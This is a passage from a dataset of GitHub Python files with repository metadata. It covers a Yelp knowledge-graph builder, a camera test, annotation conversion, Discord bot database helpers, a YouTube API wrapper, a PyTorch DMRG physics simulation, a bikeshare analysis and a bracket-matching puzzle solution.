\"\")\r\n\r\ndef check_exist_dbpedia_clone(business_id, string):\r\n \r\n db_list = ['Bubble Tea', 'Fast Food','Hot Dogs','Asian Fusion','Soul Food','Acai Bowls','Food Court','Dim Sum','Hot Pot','Tui Na']\r\n for element in db_list:\r\n if str(element) == string:\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + change_format_to_db(element))))\r\n return True\r\n \r\ndef add_combined_to_dbpedia(business_id,string):\r\n \r\n if (' ' in string) == True and check_exist_dbpedia_clone(business_id,string) == True:\r\n return True\r\n elif (' ' in string) == True:\r\n string = string.split()\r\n for word in string:\r\n word = singularize(word)\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + word)))\r\n elif (' ' in string) != True:\r\n string = singularize(string)\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + word)))\r\n \r\n \r\n \r\n '''\r\n if check_exist_dbpedia(change_format_to_db(string)) == True:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.category, URIRef(db_resource + change_format_to_db(string))))\r\n else:\r\n '''\r\n \r\ngraph_file = open('yelp-kg-business_ex_cate.nt', 'a')\r\n\r\nwith open('yelp_academic_dataset_business.json', encoding=\"utf8\") as f:\r\n for line in f:\r\n line = line.encode(\"ascii\", \"ignore\") #removing unicode characters\r\n line = json.loads(line)\r\n g = Graph()\r\n special_characters = \"^&()/\" \r\n if line['categories'] != None:\r\n #split the string in categories to a list, create list as catagory_list\r\n catagory_list = string_seperate(line['categories'])\r\n #for every item in catagory_list, compare it with the dbpedia\r\n for item in catagory_list:\r\n item = remove_apo(item)\r\n if any(char in special_characters for char in item):\r\n item = check_special_cate(item)\r\n if (' ' in item) == True:\r\n add_combined_to_dbpedia(line['business_id'],item)\r\n else:\r\n words = remove_apo(item)\r\n add_singel_to_dbpedia(line['business_id'],item)\r\n elif (' ' in item) == True:\r\n add_combined_to_dbpedia(line['business_id'],item)\r\n else:\r\n add_singel_to_dbpedia(line['business_id'],item)\r\n graph_file.write(g.serialize(format=\"nt\"))\r\n print(n)\r\n \r\n n = n + 1\r\ngraph_file.close()\r\n\r\n\r\n\r\n'''\r\nif line['state'] !=None and line['city'] != None:\r\n city = return_dbpedia_URI(change_format_to_db(line['city']) + ',_' + code_to_state(line['state']))\r\n print(line['city'] + ',_' + code_to_state(line['state']))\r\n if city != False:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.City, URIRef(city)))\r\n print(city)\r\n elif return_dbpedia_URI(change_format_to_db(line['city'])) != False:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.City, URIRef(db_resource + change_format_to_db(line['city']))))\r\n print(line['city'])\r\n else:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.City, Literal(line['city'], datatype=XSD.string)))\r\n\r\ng.add((URIRef(yelp_business + line['business_id']), schema.City, Literal(line['city'], datatype=XSD.string)))\r\n'''","repo_name":"AAU-WebDataScience/F22-DV4-03","sub_path":"code_to_generate_graph/graf_business_exstra.py","file_name":"graf_business_exstra.py","file_ext":"py","file_size_in_byte":7461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40849664026","text":"import unittest\nimport time\nimport os\nimport picamera_mock\nimport picamera\nimport camera\nimport config\n\nclass CameraTest(unittest.TestCase):\n def setUp(self):\n config.Config.read()\n picamera.PiCamera = picamera_mock.PiCameraMock\n self.cam = camera.Camera.get_instance()\n \n def tearDown(self):\n self.cam.exit()\n camera.Camera._instance = None\n\n def test_take_picture_jpeg(self):\n pic = self.cam.get_image_jpeg()\n self.assertTrue(pic is not None)\n\n def test_take_picture_bgr(self):\n pic = self.cam.get_image()\n self.assertTrue(pic is not None)\n\n def test_video_rec(self):\n video_filename = \"video_test\"\n self.cam.video_rec(video_filename)\n time.sleep(5)\n self.cam.video_stop()\n v = open(\"data/media/VID\" + video_filename + \".mp4\")\n t = open(\"data/media/VID\" + video_filename + \"_thumb.jpg\")\n self.assertTrue(v is not None and t is not None)\n v.close()\n t.close()\n os.remove(\"data/media/VID\" + video_filename + \".mp4\")\n os.remove(\"data/media/VID\" + video_filename + \"_thumb.jpg\")\n\n def test_find_color(self):\n color = 'ff0000'\n dist, angle = self.cam.find_color(color)\n self.assertTrue(dist > 0 and angle < 180)\n","repo_name":"CoderBotOrg/backend","sub_path":"test/camera_test.py","file_name":"camera_test.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"72"} +{"seq_id":"70306116713","text":"import os\nfrom pathlib import Path\nfrom PIL import Image\nimport csv\n\n\ndef convert(size, box):\n dw = 1. / size[0]\n dh = 1. / size[1]\n x = (box[0] + box[2] / 2) * dw\n y = (box[1] + box[3] / 2) * dh\n w = box[2] * dw\n h = box[3] * dh\n return (x, y, w, h)\n \nwd = os.getcwd()\n\nif not os.path.exists('labels'):\n os.makedirs('labels')\n\ntrain_file = 'images.txt'\ntrain_file_txt = ''\n \nanns = os.listdir('annotations')\nfor ann in anns:\n ans = ''\n outpath = wd + '/labels/' + ann\n if ann[-3:] != 'txt':\n continue\n with Image.open(wd + '/images/' + ann[:-3] + 'jpg') as Img:\n img_size = Img.size\n with open(wd + '/annotations/' + ann, newline='') as csvfile:\n spamreader = csv.reader(csvfile)\n for row in spamreader:\n if row[4] == '0':\n continue\n bb = convert(img_size, tuple(map(int, row[:4])))\n ans = ans + str(int(row[5])-1) + ' ' + ' '.join(str(a) for a in bb) + '\\n'\n with open(outpath, 'w') as outfile:\n outfile.write(ans)\n train_file_txt = train_file_txt + wd + '/images/' + ann[:-3] + 'jpg\\n'\n\nwith open(train_file, 'w') as outfile:\n outfile.write(train_file_txt)\n","repo_name":"zhaobaiyu/visdrone","sub_path":"darknet/scripts/visdrone_det_transform.py","file_name":"visdrone_det_transform.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"72"} +{"seq_id":"25840445783","text":"from datetime import timedelta\nfrom typing import List\nimport discord\nfrom db.main import get_db\nfrom db.schemas import Guild, Joining, Task, User\n\ndb = next(get_db())\n\nasync def check_new_guild(ctx: discord.ApplicationContext) -> None:\n guild = db.query(Guild).get(ctx.guild_id)\n if guild is None:\n new_guild = Guild(\n guild_id = ctx.guild_id,\n guild_name = ctx.guild.name,\n notify_channel_id = ctx.guild.text_channels[0].id\n )\n db.add(new_guild)\n db.commit()\n\nasync def check_new_user(ctx: discord.ApplicationContext) -> None:\n user_id = ctx.author.id\n guild_id = ctx.guild_id\n user = db.query(User).get(user_id)\n if user is None:\n new_user = User(\n user_id = user_id,\n user_name = ctx.author.name\n )\n db.add(new_user)\n db.commit()\n \n join_info = db.query(Joining).filter(Joining.user_id == user_id, Joining.guild_id == guild_id).first()\n if join_info is None:\n new_joining = Joining(\n user_id = user_id,\n guild_id = guild_id\n )\n db.add(new_joining)\n db.commit()\n\nasync def get_task_id(user_id:int, title: str) -> str:\n task = db.query(Task).filter(Task.user_id == user_id, Task.task_name == title).first()\n if task is None:\n new_task = Task(\n task_name = title,\n user_id = user_id\n )\n db.add(new_task)\n db.commit()\n db.refresh(new_task)\n task = new_task\n return task.task_id\n\nasync def add_progress_time(task_id: int, duration: timedelta) -> bool:\n task = db.query(Task).get(task_id)\n if task is None:\n return False\n task.duration += duration\n db.commit()\n return True\n\nasync def set_notify_channel(guild_id: int, channel_id: int) -> bool:\n guild = db.query(Guild).filter(Guild.guild_id == guild_id).first()\n if guild is None:\n return False\n guild.notify_channel_id = channel_id\n db.commit()\n return True\n\nasync def get_guild_list() -> List[Guild]:\n return db.query(Guild).all()\n\nasync def get_joining_user(guild_id: int) -> List[Joining]:\n return db.query(Joining).filter(Joining.guild_id == guild_id).all()\n\nasync def get_task_list(user_id: int) -> List[Task]:\n return db.query(Task).filter(Task.user_id == user_id).all()\n\nasync def delete_user_and_task() -> None:\n db.query(User).delete()\n db.query(Task).delete()\n db.commit()\n\nasync def recreate_user(wd_list) -> None:\n for wd in wd_list:\n user = User(\n user_id = wd['user_id'],\n user_name = wd['name']\n )\n db.add(user)\n db.commit() \n","repo_name":"PigeonsHouse/ShinchokuChanBot","sub_path":"cruds.py","file_name":"cruds.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43891744584","text":"from typing import Union\n\nimport torch\n\n\ndef reduce(to_reduce: torch.Tensor, reduction: str) -> torch.Tensor:\n \"\"\"\n reduces a given tensor by a given reduction method\n\n Parameters\n ----------\n to_reduce : torch.Tensor\n the tensor, which shall be reduced\n reduction : str\n a string specifying the reduction method.\n should be one of 'elementwise_mean' | 'none' | 'sum'\n\n Returns\n -------\n torch.Tensor\n reduced Tensor\n\n Raises\n ------\n ValueError\n if an invalid reduction parameter was given\n\n \"\"\"\n if reduction == 'elementwise_mean':\n return torch.mean(to_reduce)\n if reduction == 'none':\n return to_reduce\n if reduction == 'sum':\n return torch.sum(to_reduce)\n raise ValueError('Reduction parameter unknown.')\n\n\ndef atleast_1d(*tensors) -> Union[torch.Tensor, list]:\n \"\"\"\n Convert inputs to tensors with at least one dimension.\n\n Scalar inputs are converted to 1-dimensional tensors, whilst\n higher-dimensional inputs are preserved.\n\n Parameters\n ----------\n tensor1, tensor2, ... : tensor_like\n One or more input tensors.\n\n Returns\n -------\n torch.Tensor or list\n A tensor, or list of tensors, each with ``a.ndim >= 1``.\n Copies are made only if necessary.\n\n \"\"\"\n res = []\n for tensor in tensors:\n if not isinstance(tensor, torch.Tensor):\n tensor = torch.tensor(tensor)\n if tensor.ndim == 0:\n result = tensor.view(1)\n else:\n result = tensor\n res.append(result)\n if len(res) == 1:\n return res[0]\n else:\n return res\n","repo_name":"justusschock/dl-utils","sub_path":"dlutils/utils/tensor_ops.py","file_name":"tensor_ops.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"} +{"seq_id":"3628674719","text":"import os\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nimport googleapiclient.errors\n\nclass YoutubeApi:\n def __init__(self, root=\"insert here path to your client secret file\"):\n api_service_name = \"youtube\"\n api_version = \"v3\"\n SCOPES = [\"https://www.googleapis.com/auth/youtube.force-ssl\"]\n \n self.CLIENT_SECRET_FILE = root\n self.response = \"\"\n \n # Get credentials and create an API client\n flow = InstalledAppFlow.from_client_secrets_file(\n CLIENT_SECRET_FILE, SCOPES)\n credentials = flow.run_console()\n self.youtube = build(\n api_service_name, api_version, credentials=credentials)\n \n def insert_comment(self, channel_id, video_id, text):\n request = self.youtube.commentThreads().insert(\n part=\"snippet\",\n body={\n \"snippet\": {\n \"channelId\": \"{0}\".format(channel_id),\n \"videoId\": \"{0}\".format(video_id),\n \"topLevelComment\": {\n \"snippet\": {\n \"textOriginal\": \"{0}\".format(text)\n }\n }\n }\n }\n )\n self.response = request.execute()\n print(self.response)\n\n def _parse_custom_channel_id(self, custom_id):\n resp = requests.get(f'https://www.youtube.com/c/{custom_id}')\n soup = BeautifulSoup(resp.text, 'html.parser')\n channel_id = soup.select_one('meta[property=\"og:url\"]')['content'].strip('/').split('/')[-1]\n return channel_id\n\n def search_channel(self, channel_id, max_number_of_videos=5, is_custom_id=False):\n if is_custom_id:\n channel_id = self._parse_custom_channel_id(channel_id)\n else:\n channel_id = channel_id\n request = self.youtube.search().list(channelId=channel_id,\n part='snippet',\n type='video',\n maxResults=max_number_of_videos,\n order='viewCount')\n self.response = request.execute()\n return self.response\n\n def search_video(self, video_id):\n request = self.youtube.videos().list(\n part=\"statistics\",\n id=video_id\n )\n self.response = request.execute()\n return self.response","repo_name":"sagisk/YouTube-Commenter","sub_path":"src/youtube_api.py","file_name":"youtube_api.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72158974313","text":"import torch\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n\"\"\" Torch Setting \"\"\"\ndevice = torch.device(\"cpu\")\n\n\nsigma_x = torch.tensor([[0, 1], [1, 0]]).to(device)\nsigma_z = torch.tensor([[1, 0], [0, -1]]).to(device)\n\nLatticeLength = 16 # Final Lattice Length\nMaximalStates = 16 # Maximum States for truncation\n\nJ = 1 # Interaction Strength for x direction\nh = 0.8 # Interaction Strength for z direction\n\n\"\"\" Initialize the sysBlock and envBlock\"\"\"\nsysBlock_Ham = -h * sigma_z # Initially we have on-site potential term\nsysBlock_Sigma_x = sigma_x\nsysBlock_Sigma_z = sigma_z\nsysBlock_Length = 1\n\n# Environment elements:\nenvBlock_Ham = -h * sigma_z # Initially we have on-site potential term\nenvBlock_Sigma_x = sigma_x\nenvBlock_Sigma_z = sigma_z\nenvBlock_Length = 1\n\n\nDim = 2 # Local site dimension\n\nE_GS = [] # To store the ground state energy of eahc DMRG step\nSE = [] # von Neumann Entropy for sysBlock\n\n\n\"\"\"\nConvert it to PyTorch Version \n\"\"\"\n\n\"\"\" Torch Version Partial Trace\"\"\"\n\n\ndef partial_trace(psi, n1, n2):\n # define the density matrix for ground state psi\n # rho = psi @ psi.conj().T\n rho = torch.ger(psi, psi.T).to(device)\n rho_tensor = rho.reshape(int(n1), int(n2), int(n1), int(n2))\n RDM_sys = torch.einsum(\"ijkj->ik\", rho_tensor)\n RDM_env = torch.einsum(\"ijil->jl\", rho_tensor)\n\n return RDM_sys.to(device), RDM_env.to(device)\n\n\nwhile (sysBlock_Length + envBlock_Length) < LatticeLength:\n # Step 1: Enlarge the Blocks by adding a new site\n\n \"\"\"To check whether the dimensions of operators are correct\"\"\"\n sysBlock_Ham = (\n torch.kron(sysBlock_Ham, torch.eye(Dim, device=device)).to(device)\n - h\n * torch.kron(torch.eye(len(sysBlock_Ham), device=device), sigma_z).to(device)\n - J * torch.kron(sysBlock_Sigma_x, sigma_x).to(device)\n )\n\n envBlock_Ham = (\n torch.kron(torch.eye(Dim).to(device), envBlock_Ham).to(device)\n - h * torch.kron(sigma_z, torch.eye(len(envBlock_Ham)).to(device)).to(device)\n - J * torch.kron(sigma_x, envBlock_Sigma_x).to(device)\n )\n\n # Make sure both sysBlock and envBlock are Hermitian\n sysBlock_Ham[:] = 0.5 * (sysBlock_Ham + sysBlock_Ham.conj().T)\n envBlock_Ham[:] = 0.5 * (envBlock_Ham + envBlock_Ham.conj().T)\n\n # Step 2: Perpare the operator for Superblock Hamiltonain\n # The operators for middle two points\n sysBlock_Sigma_x = torch.kron(\n torch.eye(int(sysBlock_Ham.shape[0] // Dim)).to(device), sigma_x\n )\n sysBlock_Sigma_z = torch.kron(\n torch.eye(int(sysBlock_Ham.shape[0] // Dim)).to(device), sigma_z\n )\n\n envBlock_Sigma_x = torch.kron(\n sigma_x, torch.eye(int(envBlock_Ham.shape[0] // Dim)).to(device)\n )\n envBlock_Sigma_z = torch.kron(\n sigma_z, torch.eye(int(envBlock_Ham.shape[0] // Dim)).to(device)\n )\n\n # Update the size of both blocks\n sysBlock_Length = sysBlock_Length + 1\n envBlock_Length = envBlock_Length + 1\n\n # Step 3: Construct the Superblock Hamiltonain\n # print(len(sysBlock_Ham.toarray()))\n H_super = (\n torch.kron(sysBlock_Ham, torch.eye(int(envBlock_Ham.shape[0])).to(device))\n + torch.kron(torch.eye(int(sysBlock_Ham.shape[0])).to(device), envBlock_Ham)\n - J * torch.kron(sysBlock_Sigma_x, envBlock_Sigma_x)\n )\n\n # Return the ground state of superblock\n # val_States, vec_States = torch.linalg.svd(H_super)\n # val_GS, vec_GS = val_States[0], vec_States[:, 0]\n\n U, S, V_dagger = torch.linalg.svd(H_super)\n\n # Choose right Vec_GS from SVD, since SVD is semi-positive definite\n # Then if there are enegies level -1 , 1 --> 1 in SVD\n\n if torch.dot(U[:, 0], H_super @ U[:, 0]) <= 0:\n vec_GS = U[:, 0]\n else:\n vec_GS = U[:, 1]\n\n E_GS_local = torch.dot(vec_GS, (H_super @ vec_GS)) / (\n sysBlock_Length + envBlock_Length\n )\n\n print(f\"Energies={E_GS_local}\")\n E_GS.append(E_GS_local)\n\n # Step 4: Construct the RDM for sysBlock and envBlock\n sysBlock_DM, envBlock_DM = partial_trace(\n vec_GS,\n int(sysBlock_Ham.shape[0]),\n int(envBlock_Ham.shape[0]),\n )\n\n # Check trace of density matrix always = 1\n print(\n f\" sysblock_DM Hermitian check {torch.dist(sysBlock_DM, sysBlock_DM.conj().T )}\"\n )\n\n \"\"\" Make Sure the matrix is Hermitian\"\"\"\n sysBlock_DM = (sysBlock_DM + sysBlock_DM.conj().T) / 2\n envBlock_DM = (envBlock_DM + envBlock_DM.conj().T) / 2\n\n # Diagonalize the reduced density matrix\n (\n sysBlock_rotationMatrix,\n sysBlock_weight,\n sysBlock_rotationMatrix_dagger,\n ) = torch.linalg.svd(sysBlock_DM)\n (\n envBlock_rotationMatrix,\n envBlock_weight,\n envBlock_rotationMatrix_dagger,\n ) = torch.linalg.svd(envBlock_DM)\n\n print(f\" check trace of RDM = {torch.sum(sysBlock_weight)}\")\n\n \"\"\"Make the sysBlock weigth array in descending order\"\"\"\n # Sorted Method using Numpy\n sysBlock_idx = torch.argsort(sysBlock_weight, descending=True)\n sysBlock_weight_sort = sysBlock_weight[sysBlock_idx]\n\n # Prevent some negative zeros\n sysBlock_weight_sort = sysBlock_weight_sort[sysBlock_weight_sort > 0]\n Isys = sysBlock_idx\n\n print(f\"sorted {sysBlock_weight_sort}\")\n # Check Entanglement\n # If the resulted array is [1,0,0,.....,0], implying our target state is unentangled\n # If the resulted array is [0.7, 0.2, 0.02, ... 1e-8] , implying our targert state is an enatangled state\n\n # print(np.real(sysBlock_weight_sort[:min(len(sysBlock_weight_sort), MaximalStates) ]))\n\n # von Neumann entropy of sysBlock\n # locally update the dummy variable SE_local\n SE_local = -torch.sum(sysBlock_weight_sort * torch.log2(sysBlock_weight_sort))\n SE.append(np.real(SE_local))\n print(\"sysEntropy=\", np.real(SE_local))\n\n envBlock_idx = torch.argsort(envBlock_weight, descending=True)\n envBlock_weight_sort = envBlock_weight[envBlock_idx]\n Ienv = envBlock_idx\n\n # Obtain the truncated basis( There is some bugs in the truncation)\n # sysBlock is a matrix contains eigenvector, but not an array\n sysBlock_rotationMatrix = sysBlock_rotationMatrix[\n :, Isys[: min(MaximalStates, len(sysBlock_rotationMatrix))]\n ]\n envBlock_rotationMatrix = envBlock_rotationMatrix[\n :, Ienv[: min(MaximalStates, len(envBlock_rotationMatrix))]\n ]\n\n # Step 5: Truncation:\n # sysBlock\n sysBlock_Ham = (\n sysBlock_rotationMatrix.conj().T @ sysBlock_Ham @ sysBlock_rotationMatrix\n )\n sysBlock_Sigma_x = (\n sysBlock_rotationMatrix.conj().T @ sysBlock_Sigma_x @ sysBlock_rotationMatrix\n )\n sysBlock_Sigma_z = (\n sysBlock_rotationMatrix.conj().T @ sysBlock_Sigma_z @ sysBlock_rotationMatrix\n )\n\n # envBlock\n envBlock_Ham = (\n envBlock_rotationMatrix.conj().T @ envBlock_Ham @ envBlock_rotationMatrix\n )\n envBlock_Sigma_x = (\n envBlock_rotationMatrix.conj().T @ envBlock_Sigma_x @ envBlock_rotationMatrix\n )\n envBlock_Sigma_z = (\n envBlock_rotationMatrix.conj().T @ envBlock_Sigma_z @ envBlock_rotationMatrix\n )\n\n print(\"Total length =\", sysBlock_Length + envBlock_Length)\n\n\nloop_array = np.arange(0, len(E_GS), 1)\nplt.title(r\"Convergence of Ground State Energy \")\nplt.scatter(\n loop_array,\n np.array([E.cpu() for E in E_GS]),\n facecolors=\"none\",\n edgecolors=\"b\",\n label=r\"DMRG GS\",\n)\nplt.ylabel(r\" Energy per Site\")\nplt.xlabel(r\"Iterations\")\nplt.legend()\n\nplt.show()\n","repo_name":"rickypang0219/PyTorch_DeepLearning","sub_path":"DMRG_GPU_accelerated/TFIM_iDMRG.py","file_name":"TFIM_iDMRG.py","file_ext":"py","file_size_in_byte":7450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5970903453","text":"import time\r\nimport pandas as pd\r\nimport numpy as np\r\nimport calendar\r\nCITY_DATA = { 'chicago': 'chicago.csv',\r\n 'new york city': 'new_york_city.csv',\r\n 'washington': 'washington.csv' }\r\n\r\ndef get_filters():\r\n \"\"\"\r\n Asks user to specify a city, month, and day to analyze.\r\n\r\n Returns:\r\n (str) city - name of the city to analyze\r\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\r\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\r\n \"\"\"\r\n #Variable Intialization\r\n city_name=' '\r\n city=' '\r\n print('Hello! Let\\'s explore some US bikeshare data!')\r\n # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\r\n city_name=input('Enter your city Name::chicago, or new york city or washington:\\n')\r\n #Checking whether right city is entered or not\r\n while (city_name.strip()!='chicago' and city_name!='new york city' and city_name!='washington'):\r\n print('Please enter correct cityname:\\n')\r\n city_name=input('Enter your city Name::chicago, or new york city or washington:\\n')\r\n city=city_name\r\n \r\n # get user input for month (all, january, february, ... , june)\r\n month=input('Enter month to display statistics::all,January,February,....June:\\n' )\r\n while(month!='all' and month!='January' and month!='February' and month!='March'and \\\r\n month!='April' and month!='May' and month!='June' ):\r\n print('Enter Month in Text in CamelCase only between January and June')\r\n month=input('Enter month to display statistics::all,January,February,....June:\\n' )\r\n # get user input for day of week (all, monday, tuesday, ... sunday)\r\n day=input('Enter day of week ::all,Monday,Tuesday,.....Sunday:\\n')\r\n while(day!='all' and day!='Sunday' and day!='Monday' and day!='Tuesday' and day!='Wednesday'\\\r\n and day!='Thursday' and day!='Friday' and day!='Saturday'):\r\n print('Enter Day in Text in CamelCase only between Sunday and Saturday:Example like::Sunday or Monday')\r\n day=input('Enter day of week ::all,Monday,Tuesday,.....Sunday:\\n')\r\n print('-'*40)\r\n return city, month, day\r\n\r\n\r\ndef load_data(city,month,day):\r\n \"\"\"\r\n Loads data for the specified city and filters by month and day if applicable.\r\n\r\n Args:\r\n (str) city - name of the city to analyze\r\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\r\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\r\n Returns:\r\n df - Pandas DataFrame containing city data filtered by month and day\r\n \"\"\"\r\n df=pd.read_csv(CITY_DATA[city])\r\n #converting starttime endtime into DateTimeFormat\r\n df['Start Time']=pd.to_datetime(df['Start Time'])\r\n df['End Time']=pd.to_datetime(df['End Time'])\r\n #Adding New Columns Month,Day,hour , StartStation && EndStation by time package\r\n df['month']=df['Start Time'].dt.month\r\n df['day']=df['Start Time'].dt.weekday_name\r\n df['hour']=df['Start Time'].dt.hour\r\n df['Start Station && End Station']=df['Start Station']+' and '+df['End Station']\r\n #Converting Column Month Number into Month in text by apply by calendar package\r\n df['month']=df['month'].apply(lambda x: calendar.month_name[x])\r\n #returning dataframe based on month and Day values entered\r\n if month=='all' and day=='all':\r\n return df\r\n elif month=='all' and day!='all':\r\n return df.loc[(df['day']==day)]\r\n elif month!='all' and day=='all':\r\n return df.loc[(df['month']==month)]\r\n elif month!='all' and day!='all':\r\n return df.loc[(df['month']==month) & (df['day']==day)]\r\n else:\r\n return df\r\ndef time_stats(df):\r\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\r\n\r\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n com_month=' '\r\n com_dow=' '\r\n com_sh=0\r\n # display the most common month\r\n com_month=df['month'].mode()[0]\r\n print('most Common Month:{}\\n'.format(com_month))\r\n # display the most common day of week\r\n com_dow=df['day'].mode()[0]\r\n print('most Common day of week:{}\\n'.format(com_dow))\r\n # display the most common start hour\r\n com_sh=df['hour'].mode()[0]\r\n print('most Common day of start hour:{}\\n'.format(com_sh))\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\ndef station_stats(df):\r\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\r\n\r\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n start_SS=' '\r\n end_SS=' '\r\n freq_start_end_SS=' '\r\n # display most commonly used start station\r\n start_SS=df['Start Station'].mode()[0]\r\n # display most commonly used end station\r\n print('most Common Start Station:{}\\n'.format(start_SS))\r\n end_SS=df['End Station'].mode()[0]\r\n print('most Common end Station:{}\\n'.format(end_SS))\r\n # display most frequent combination of start station and end station trip\r\n freq_start_end_SS=df['Start Station && End Station'].mode()[0]\r\n print('most Common Start Station and End Station:{}\\n'.format(freq_start_end_SS))\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\ndef trip_duration_stats(df):\r\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\r\n\r\n print('\\nCalculating Trip Duration...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n totaltraveltime=0\r\n meantraveltime=0\r\n # display total travel time\r\n totaltraveltime=df['Trip Duration'].sum()\r\n print('Total Travel Time:{}\\n:'.format(totaltraveltime))\r\n\r\n # display mean travel time\r\n meantraveltime=df['Trip Duration'].mean()\r\n print('Total Travel Time:{}\\n:'.format(meantraveltime))\r\n\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\n\r\ndef user_stats(df):\r\n \"\"\"Displays statistics on bikeshare users.\"\"\"\r\n\r\n print('\\nCalculating User Stats...\\n')\r\n start_time = time.time()\r\n #Variable Intialization\r\n user_types=0\r\n gender_count=0\r\n earliest_DOB=0\r\n most_recent=0\r\n most_common=0\r\n # Display counts of user types\r\n user_types=df['User Type'].value_counts()[0]\r\n print('User Type Counts:{}\\n:'.format(user_types))\r\n #print(df)\r\n #checking if Gender Column Exists in Dataframe\r\n if 'Gender' in df:\r\n gender_count=df['Gender'].value_counts()[0]\r\n # Display counts of gender\r\n print('Gender Type Counts:{}\\n:'.format(gender_count))\r\n\r\n # Display earliest, most recent, and most common year of birth\r\n #checking if Birthyear Column Exists in Dataframe\r\n if 'Birth Year' in df:\r\n earliest_DOB=df['Birth Year'].max()\r\n print('Earliest DOB:{}\\n:'.format(earliest_DOB))\r\n if 'Birth Year' in df:\r\n most_recent=df['Birth Year'].iloc[-1]\r\n print('Most Recent DOB:{}\\n:'.format(most_recent))\r\n if 'Birth Year' in df:\r\n most_common=df['Birth Year'].mode()[0]\r\n print('Most common DOB:{}\\n:'.format(most_common))\r\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n print('-'*40)\r\ndef main():\r\n while True:\r\n city, month, day = get_filters()\r\n df = load_data(city, month, day)\r\n\r\n time_stats(df)\r\n station_stats(df)\r\n trip_duration_stats(df)\r\n user_stats(df)\r\n\r\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\r\n if restart.lower() != 'yes':\r\n break\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","repo_name":"Reddshan/BikeShare_DataAnalysis","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":7760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16876548211","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 15 11:39:51 2019\n\n@author: tgadfort\n\"\"\"\n\nimport argparse\n\nparser = argparse.ArgumentParser(description='Example with long option names')\nparser.add_argument('--id', action=\"store\", dest=\"gameID\")\nresults = parser.parse_args()\n\nfrom playbyplay import playbyplay\nfrom historical import historical\nfrom espngames import season, game, team\n\nimport logging\n\nlogger = logging.getLogger('log')\nlogger.setLevel(logging.DEBUG)\n\nfh = logging.FileHandler('results.log', mode='w')\nfh.setLevel(logging.DEBUG)\nlogger.addHandler(fh)\n\n#logging.basicConfig(filename='parsing.log', level=logging.INFO)\nlogger.info('creating a logger message')\n\nhist = historical()\nprint(hist)\n\nlogger.info('done creating a logger message')\n\npbp = playbyplay()\npbp.setHistorical(hist)\ngameID = results.gameID\nprint(\"GameID set to [{0}]\".format(gameID))\npbp.parseGames(gameID=gameID, test=False, debug=False, verydebug=False)\n\n\nprint(\"Bad + Good: \",len(pbp.badGames.keys())+len(pbp.goodGames.keys()))\nprint(\"Bad: \",len(pbp.badGames.keys()))\nprint(\"Games: \",pbp.badGames.keys())\n\n\ndef writeEdit(gameID, driveNo, playNo, text=None):\n print(\" if gameID == '{0}':\".format(gameID))\n print(\" if driveNo == {0} and playNo == {1}:\".format(driveNo, playNo))\n if text is not None:\n print(\" newtext = \\\"{0}\\\"\".format(text))\n else:\n print(\" keep = False\")\n\n","repo_name":"tgadf/football","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13010458509","text":"arr = []\ninverse = {\">\": \"<\", \"]\": \"[\", \")\": \"(\", \"}\": \"{\"}\nscore = {\"(\":1,\"[\":2, \"{\":3,\"<\":4}\nt = []\nincomplete = []\nfor line in open(\"C:\\\\Users\\\\anant\\\\PythonProjects\\\\AdventOfCode\\\\day10\\\\inp10.txt\").readlines():\n stack = []\n ans = 0\n line = line.strip()\n incorrect = \"\"\n for value in line:\n if value in inverse.values():\n stack.append(value)\n elif value in inverse.keys():\n if len(stack) > 0 and inverse[value] == stack[-1]:\n stack.pop() \n else:\n incorrect = value\n break\n if incorrect==\"\": \n stack.reverse() \n for i in stack:\n 